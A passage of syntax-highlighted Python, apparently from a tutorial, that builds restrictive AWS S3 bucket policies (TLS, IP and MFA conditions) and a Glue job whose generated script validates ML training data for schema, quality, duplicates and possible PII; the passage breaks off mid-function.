                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">s3:*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sa">f</span><span class="sh">"</span><span class="s">arn:aws:s3:::</span><span class="si">{</span><span class="n">bucket_name</span><span class="si">}</span><span class="s">/*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sa">f</span><span class="sh">"</span><span class="s">arn:aws:s3:::</span><span class="si">{</span><span class="n">bucket_name</span><span class="si">}</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">Bool</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:SecureTransport</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">false</span><span class="sh">"</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>
        
        <span class="k">if</span> <span class="n">classification</span> <span class="ow">in</span> <span class="p">[</span><span class="sh">'</span><span class="s">confidential</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">restricted</span><span class="sh">'</span><span class="p">]:</span>
            <span class="c1"># Add IP restriction for highly sensitive data
</span>            <span class="n">base_policy</span><span class="p">[</span><span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RestrictByIP</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Principal</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">s3:*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                    <span class="sa">f</span><span class="sh">"</span><span class="s">arn:aws:s3:::</span><span class="si">{</span><span class="n">bucket_name</span><span class="si">}</span><span class="s">/*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sa">f</span><span class="sh">"</span><span class="s">arn:aws:s3:::</span><span class="si">{</span><span class="n">bucket_name</span><span class="si">}</span><span class="sh">"</span>
                <span class="p">],</span>
                <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">"</span><span class="s">NotIpAddress</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">aws:SourceIp</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                            <span class="sh">"</span><span class="s">10.0.0.0/8</span><span class="sh">"</span><span class="p">,</span>
                            <span class="sh">"</span><span class="s">172.16.0.0/12</span><span class="sh">"</span><span class="p">,</span>
                            <span class="sh">"</span><span class="s">192.168.0.0/16</span><span class="sh">"</span>
                        <span class="p">]</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">})</span>
        
        <span class="k">if</span> <span class="n">classification</span> <span class="o">==</span> <span class="sh">'</span><span class="s">restricted</span><span class="sh">'</span><span class="p">:</span>
            <span class="c1"># Add MFA requirement for restricted data
</span>            <span class="n">base_policy</span><span class="p">[</span><span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RequireMFA</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Principal</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">s3:*</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                    <span class="sa">f</span><span class="sh">"</span><span class="s">arn:aws:s3:::</span><span class="si">{</span><span class="n">bucket_name</span><span class="si">}</span><span class="s">/*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sa">f</span><span class="sh">"</span><span class="s">arn:aws:s3:::</span><span class="si">{</span><span class="n">bucket_name</span><span class="si">}</span><span class="sh">"</span>
                <span class="p">],</span>
                <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">"</span><span class="s">BoolIfExists</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">aws:MultiFactorAuthPresent</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">false</span><span class="sh">"</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">})</span>
        
        <span class="k">return</span> <span class="n">base_policy</span>
    
    <span class="k">def</span> <span class="nf">implement_data_validation</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> 
                                  <span class="n">data_source</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span>
                                  <span class="n">validation_rules</span><span class="p">:</span> <span class="n">Dict</span><span class="p">,</span>
                                  <span class="n">output_location</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Implement comprehensive data validation for ML pipelines</span><span class="sh">"""</span>
        
        <span class="n">validation_job_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">data-validation-</span><span class="si">{</span><span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">strftime</span><span class="p">(</span><span class="sh">'</span><span class="s">%Y%m%d-%H%M%S</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span>
        
        <span class="c1"># Create Glue job for data validation
</span>        <span class="n">job_definition</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="n">validation_job_name</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">Role</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">arn:aws:iam::123456789012:role/GlueDataValidationRole</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">Command</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">glueetl</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">ScriptLocation</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">s3://ml-security-scripts/data_validation.py</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">PythonVersion</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">3</span><span class="sh">'</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">DefaultArguments</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">--job-language</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">python</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">--data_source</span><span class="sh">'</span><span class="p">:</span> <span class="n">data_source</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">--validation_rules</span><span class="sh">'</span><span class="p">:</span> <span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">validation_rules</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">--output_location</span><span class="sh">'</span><span class="p">:</span> <span class="n">output_location</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">--enable-metrics</span><span class="sh">'</span><span class="p">:</span> <span class="sh">''</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">--enable-continuous-cloudwatch-log</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">true</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">--enable-spark-ui</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">true</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">--spark-event-logs-path</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">s3://ml-security-logs/spark-events/</span><span class="si">{</span><span class="n">validation_job_name</span><span class="si">}</span><span class="s">/</span><span class="sh">'</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">MaxRetries</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">Timeout</span><span class="sh">'</span><span class="p">:</span> <span class="mi">2880</span><span class="p">,</span>  <span class="c1"># 48 hours
</span>            <span class="sh">'</span><span class="s">MaxCapacity</span><span class="sh">'</span><span class="p">:</span> <span class="mf">10.0</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">SecurityConfiguration</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ml-security-configuration</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">Tags</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">Purpose</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">DataValidation</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">Environment</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">production</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">DataClassification</span><span class="sh">'</span><span class="p">:</span> <span class="n">validation_rules</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">classification</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">confidential</span><span class="sh">'</span><span class="p">)</span>
            <span class="p">}</span>
        <span class="p">}</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="n">response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">glue</span><span class="p">.</span><span class="nf">create_job</span><span class="p">(</span><span class="o">**</span><span class="n">job_definition</span><span class="p">)</span>
            
            <span class="c1"># Start the validation job
</span>            <span class="n">job_run_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">glue</span><span class="p">.</span><span class="nf">start_job_run</span><span class="p">(</span>
                <span class="n">JobName</span><span class="o">=</span><span class="n">validation_job_name</span><span class="p">,</span>
                <span class="n">Arguments</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">--validation_timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">(),</span>
                    <span class="sh">'</span><span class="s">--security_scan_enabled</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">true</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">job_name</span><span class="sh">'</span><span class="p">:</span> <span class="n">validation_job_name</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">job_run_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_run_response</span><span class="p">[</span><span class="sh">'</span><span class="s">JobRunId</span><span class="sh">'</span><span class="p">],</span>
                <span class="sh">'</span><span class="s">validation_rules</span><span class="sh">'</span><span class="p">:</span> <span class="n">validation_rules</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">started</span><span class="sh">'</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error creating validation job: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">raise</span>
    
    <span class="k">def</span> <span class="nf">create_data_validation_script</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Generate comprehensive data validation script for Glue</span><span class="sh">"""</span>
        
        <span class="n">validation_script</span> <span class="o">=</span> <span class="sh">'''</span><span class="s">
import sys
import boto3
import pandas as pd
import numpy as np
import json
import re
from datetime import datetime
from awsglue.transforms import *
from awsglue.utils import getResolvedOptions
from pyspark.context import SparkContext
from awsglue.context import GlueContext
from awsglue.job import Job

# Initialize Glue context
args = getResolvedOptions(sys.argv, [</span><span class="sh">'</span><span class="s">JOB_NAME</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">data_source</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">validation_rules</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">output_location</span><span class="sh">'</span><span class="s">])
sc = SparkContext()
glueContext = GlueContext(sc)
spark = glueContext.spark_session
job = Job(glueContext)
job.init(args[</span><span class="sh">'</span><span class="s">JOB_NAME</span><span class="sh">'</span><span class="s">], args)

class MLDataValidator:
    def __init__(self, spark_session):
        self.spark = spark_session
        self.validation_results = {
            </span><span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="s">: datetime.utcnow().isoformat(),
            </span><span class="sh">'</span><span class="s">total_records</span><span class="sh">'</span><span class="s">: 0,
            </span><span class="sh">'</span><span class="s">validation_passed</span><span class="sh">'</span><span class="s">: True,
            </span><span class="sh">'</span><span class="s">errors</span><span class="sh">'</span><span class="s">: [],
            </span><span class="sh">'</span><span class="s">warnings</span><span class="sh">'</span><span class="s">: [],
            </span><span class="sh">'</span><span class="s">security_issues</span><span class="sh">'</span><span class="s">: [],
            </span><span class="sh">'</span><span class="s">quality_metrics</span><span class="sh">'</span><span class="s">: {}
        }
    
    def validate_data_quality(self, df, rules):
        </span><span class="sh">"""</span><span class="s">Comprehensive data quality validation</span><span class="sh">"""</span><span class="s">
        
        self.validation_results[</span><span class="sh">'</span><span class="s">total_records</span><span class="sh">'</span><span class="s">] = df.count()
        
        # Schema validation
        self._validate_schema(df, rules.get(</span><span class="sh">'</span><span class="s">schema_rules</span><span class="sh">'</span><span class="s">, {}))
        
        # Data type validation
        self._validate_data_types(df, rules.get(</span><span class="sh">'</span><span class="s">type_rules</span><span class="sh">'</span><span class="s">, {}))
        
        # Range validation
        self._validate_ranges(df, rules.get(</span><span class="sh">'</span><span class="s">range_rules</span><span class="sh">'</span><span class="s">, {}))
        
        # Null value validation
        self._validate_null_values(df, rules.get(</span><span class="sh">'</span><span class="s">null_rules</span><span class="sh">'</span><span class="s">, {}))
        
        # Duplicate detection
        self._detect_duplicates(df, rules.get(</span><span class="sh">'</span><span class="s">duplicate_rules</span><span class="sh">'</span><span class="s">, {}))
        
        # Security validation
        self._validate_security(df, rules.get(</span><span class="sh">'</span><span class="s">security_rules</span><span class="sh">'</span><span class="s">, {}))
        
        # Statistical validation
        self._validate_statistics(df, rules.get(</span><span class="sh">'</span><span class="s">statistical_rules</span><span class="sh">'</span><span class="s">, {}))
        
        return self.validation_results
    
    def _validate_schema(self, df, schema_rules):
        </span><span class="sh">"""</span><span class="s">Validate DataFrame schema against expected schema</span><span class="sh">"""</span><span class="s">
        
        expected_columns = schema_rules.get(</span><span class="sh">'</span><span class="s">required_columns</span><span class="sh">'</span><span class="s">, [])
        actual_columns = df.columns
        
        missing_columns = set(expected_columns) - set(actual_columns)
        if missing_columns:
            self.validation_results[</span><span class="sh">'</span><span class="s">errors</span><span class="sh">'</span><span class="s">].append({
                </span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">schema_validation</span><span class="sh">'</span><span class="s">,
                </span><span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="s">: f</span><span class="sh">'</span><span class="s">Missing required columns: {missing_columns}</span><span class="sh">'</span><span class="s">,
                </span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">
            })
            self.validation_results[</span><span class="sh">'</span><span class="s">validation_passed</span><span class="sh">'</span><span class="s">] = False
        
        # Check for unexpected columns
        allowed_columns = schema_rules.get(</span><span class="sh">'</span><span class="s">allowed_columns</span><span class="sh">'</span><span class="s">, actual_columns)
        unexpected_columns = set(actual_columns) - set(allowed_columns)
        if unexpected_columns:
            self.validation_results[</span><span class="sh">'</span><span class="s">warnings</span><span class="sh">'</span><span class="s">].append({
                </span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">schema_validation</span><span class="sh">'</span><span class="s">,
                </span><span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="s">: f</span><span class="sh">'</span><span class="s">Unexpected columns found: {unexpected_columns}</span><span class="sh">'</span><span class="s">,
                </span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">
            })
    
    def _validate_data_types(self, df, type_rules):
        </span><span class="sh">"""</span><span class="s">Validate data types for each column</span><span class="sh">"""</span><span class="s">
        
        for column, expected_type in type_rules.items():
            if column in df.columns:
                actual_type = str(df.schema[column].dataType)
                if expected_type.lower() not in actual_type.lower():
                    self.validation_results[</span><span class="sh">'</span><span class="s">errors</span><span class="sh">'</span><span class="s">].append({
                        </span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">data_type_validation</span><span class="sh">'</span><span class="s">,
                        </span><span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="s">: f</span><span class="sh">'</span><span class="s">Column {column} has type {actual_type}, expected {expected_type}</span><span class="sh">'</span><span class="s">,
                        </span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">
                    })
                    self.validation_results[</span><span class="sh">'</span><span class="s">validation_passed</span><span class="sh">'</span><span class="s">] = False
    
    def _validate_ranges(self, df, range_rules):
        </span><span class="sh">"""</span><span class="s">Validate numerical ranges for specified columns</span><span class="sh">"""</span><span class="s">
        
        for column, range_config in range_rules.items():
            if column in df.columns:
                min_val = range_config.get(</span><span class="sh">'</span><span class="s">min</span><span class="sh">'</span><span class="s">)
                max_val = range_config.get(</span><span class="sh">'</span><span class="s">max</span><span class="sh">'</span><span class="s">)
                
                if min_val is not None:
                    out_of_range_count = df.filter(df[column] &lt; min_val).count()
                    if out_of_range_count &gt; 0:
                        self.validation_results[</span><span class="sh">'</span><span class="s">errors</span><span class="sh">'</span><span class="s">].append({
                            </span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">range_validation</span><span class="sh">'</span><span class="s">,
                            </span><span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="s">: f</span><span class="sh">'</span><span class="s">Column {column}: {out_of_range_count} values below minimum {min_val}</span><span class="sh">'</span><span class="s">,
                            </span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">
                        })
                
                if max_val is not None:
                    out_of_range_count = df.filter(df[column] &gt; max_val).count()
                    if out_of_range_count &gt; 0:
                        self.validation_results[</span><span class="sh">'</span><span class="s">errors</span><span class="sh">'</span><span class="s">].append({
                            </span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">range_validation</span><span class="sh">'</span><span class="s">,
                            </span><span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="s">: f</span><span class="sh">'</span><span class="s">Column {column}: {out_of_range_count} values above maximum {max_val}</span><span class="sh">'</span><span class="s">,
                            </span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">
                        })
    
    def _validate_null_values(self, df, null_rules):
        </span><span class="sh">"""</span><span class="s">Validate null value constraints</span><span class="sh">"""</span><span class="s">
        
        for column, null_config in null_rules.items():
            if column in df.columns:
                null_count = df.filter(df[column].isNull()).count()
                
                if not null_config.get(</span><span class="sh">'</span><span class="s">allowed</span><span class="sh">'</span><span class="s">, True) and null_count &gt; 0:
                    self.validation_results[</span><span class="sh">'</span><span class="s">errors</span><span class="sh">'</span><span class="s">].append({
                        </span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">null_validation</span><span class="sh">'</span><span class="s">,
                        </span><span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="s">: f</span><span class="sh">'</span><span class="s">Column {column} contains {null_count} null values (not allowed)</span><span class="sh">'</span><span class="s">,
                        </span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">
                    })
                    self.validation_results[</span><span class="sh">'</span><span class="s">validation_passed</span><span class="sh">'</span><span class="s">] = False
                
                max_null_percentage = null_config.get(</span><span class="sh">'</span><span class="s">max_percentage</span><span class="sh">'</span><span class="s">, 100)
                null_percentage = (null_count / self.validation_results[</span><span class="sh">'</span><span class="s">total_records</span><span class="sh">'</span><span class="s">]) * 100
                
                if null_percentage &gt; max_null_percentage:
                    self.validation_results[</span><span class="sh">'</span><span class="s">warnings</span><span class="sh">'</span><span class="s">].append({
                        </span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">null_validation</span><span class="sh">'</span><span class="s">,
                        </span><span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="s">: f</span><span class="sh">'</span><span class="s">Column {column} has {null_percentage:.2f}% null values, exceeds {max_null_percentage}%</span><span class="sh">'</span><span class="s">,
                        </span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">
                    })
    
    def _detect_duplicates(self, df, duplicate_rules):
        </span><span class="sh">"""</span><span class="s">Detect and report duplicate records</span><span class="sh">"""</span><span class="s">
        
        key_columns = duplicate_rules.get(</span><span class="sh">'</span><span class="s">key_columns</span><span class="sh">'</span><span class="s">, [])
        if key_columns:
            original_count = df.count()
            unique_count = df.dropDuplicates(key_columns).count()
            duplicate_count = original_count - unique_count
            
            if duplicate_count &gt; 0:
                max_duplicates = duplicate_rules.get(</span><span class="sh">'</span><span class="s">max_duplicates</span><span class="sh">'</span><span class="s">, 0)
                severity = </span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s"> if duplicate_count &gt; max_duplicates else </span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">
                
                self.validation_results[</span><span class="sh">'</span><span class="s">warnings</span><span class="sh">'</span><span class="s">].append({
                    </span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">duplicate_detection</span><span class="sh">'</span><span class="s">,
                    </span><span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="s">: f</span><span class="sh">'</span><span class="s">Found {duplicate_count} duplicate records based on {key_columns}</span><span class="sh">'</span><span class="s">,
                    </span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">: severity
                })
                
                self.validation_results[</span><span class="sh">'</span><span class="s">quality_metrics</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">duplicate_percentage</span><span class="sh">'</span><span class="s">] = (duplicate_count / original_count) * 100
    
    def _validate_security(self, df, security_rules):
        </span><span class="sh">"""</span><span class="s">Validate security constraints and detect sensitive data</span><span class="sh">"""</span><span class="s">
        
        # PII detection patterns
        pii_patterns = {
            </span><span class="sh">'</span><span class="s">ssn</span><span class="sh">'</span><span class="s">: r</span><span class="sh">'</span><span class="se">\\</span><span class="s">b</span><span class="se">\\</span><span class="s">d{3}-</span><span class="se">\\</span><span class="s">d{2}-</span><span class="se">\\</span><span class="s">d{4}</span><span class="se">\\</span><span class="s">b</span><span class="sh">'</span><span class="s">,
            </span><span class="sh">'</span><span class="s">credit_card</span><span class="sh">'</span><span class="s">: r</span><span class="sh">'</span><span class="se">\\</span><span class="s">b</span><span class="se">\\</span><span class="s">d{4}[- ]?</span><span class="se">\\</span><span class="s">d{4}[- ]?</span><span class="se">\\</span><span class="s">d{4}[- ]?</span><span class="se">\\</span><span class="s">d{4}</span><span class="se">\\</span><span class="s">b</span><span class="sh">'</span><span class="s">,
            </span><span class="sh">'</span><span class="s">email</span><span class="sh">'</span><span class="s">: r</span><span class="sh">'</span><span class="se">\\</span><span class="s">b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+</span><span class="se">\\</span><span class="s">.[A-Z|a-z]{2,}</span><span class="se">\\</span><span class="s">b</span><span class="sh">'</span><span class="s">,
            </span><span class="sh">'</span><span class="s">phone</span><span class="sh">'</span><span class="s">: r</span><span class="sh">'</span><span class="se">\\</span><span class="s">b</span><span class="se">\\</span><span class="s">d{3}[- ]?</span><span class="se">\\</span><span class="s">d{3}[- ]?</span><span class="se">\\</span><span class="s">d{4}</span><span class="se">\\</span><span class="s">b</span><span class="sh">'</span><span class="s">
        }
        
        text_columns = [col for col, dtype in df.dtypes if dtype == </span><span class="sh">'</span><span class="s">string</span><span class="sh">'</span><span class="s">]
        
        for column in text_columns:
            if security_rules.get(</span><span class="sh">'</span><span class="s">scan_for_pii</span><span class="sh">'</span><span class="s">, True):
                for pii_type, pattern in pii_patterns.items():
                    # Sample data for PII detection (avoid scanning entire dataset)
                    sample_df = df.sample(fraction=0.1).select(column).collect()
                    
                    pii_found = False
                    for row in sample_df[:1000]:  # Limit sample size
                        if row[column] and re.search(pattern, str(row[column])):
                            pii_found = True
                            break
                    
                    if pii_found:
                        self.validation_results[</span><span class="sh">'</span><span class="s">security_issues</span><span class="sh">'</span><span class="s">].append({
                            </span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">pii_detection</span><span class="sh">'</span><span class="s">,
                            </span><span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="s">: f</span><span class="sh">'</span><span class="s">Potential {pii_type} detected in column {column}</span><span class="sh">'</span><span class="s">,
                            </span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="s">
                        })
                        self.validation_results[</span><span class="sh">'</span><span class="s">validation_passed</span><span class="sh">'</span><span class="s">] = False
        
        # Check for sensitive column names
        sensitive_keywords = [</span><span class="sh">'</span><span class="s">password</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">secret</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">key</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">token</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">credential</span><span class="sh">'</span><span class="s">]
        for column in df.columns:
            if any(keyword in column.lower() for keyword in sensitive_keywords):
                self.validation_results[</span><span class="sh">'</span><span class="s">security_issues</span><span class="sh">'</span><span class="s">].append({
                    </span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">sensitive_column</span><span class="sh">'</span><span class="s">,
                    </span><span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="s">: f</span><span class="sh">'</span><span class="s">Column name {column} suggests sensitive data</span><span class="sh">'</span><span class="s">,
                    </span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">
                })
    
    def _validate_statistics(self, df, statistical_rules):
        </span><span class="sh">"""</span><span class="s">Validate statistical properties of the data</span><span class="sh">"""</span><span class="s">
        
        numeric_columns = [col for col, dtype in df.dtypes if dtype in [</span><span class="sh">'</span><span class="s">int</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">double</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">float</span><span class="sh">'</span><span class="s">]]
        
        for column in numeric_columns:
            if column in statistical_rules:
                rules = statistical_rules[column]
                
                # Calculate statistics
                stats = df.select(column).describe().collect()
                stats_dict = {row[</span><span class="sh">'</span><span class="s">summary</span><span class="sh">'</span><span class="s">]: float(row[column]) for row in stats if row[column] != column}
                
                # Validate mean
                if </span><span class="sh">'</span><span class="s">expected_mean</span><span class="sh">'</span><span class="s"> in rules:
                    expected_mean = rules[</span><span class="sh">'</span><span class="s">expected_mean</span><span class="sh">'</span><span class="s">]
                    tolerance = rules.get(</span><span class="sh">'</span><span class="s">mean_tolerance</span><span class="sh">'</span><span class="s">, 0.1)
                    actual_mean = stats_dict.get(</span><span class="sh">'</span><span class="s">mean</span><span class="sh">'</span><span class="s">, 0)
                    
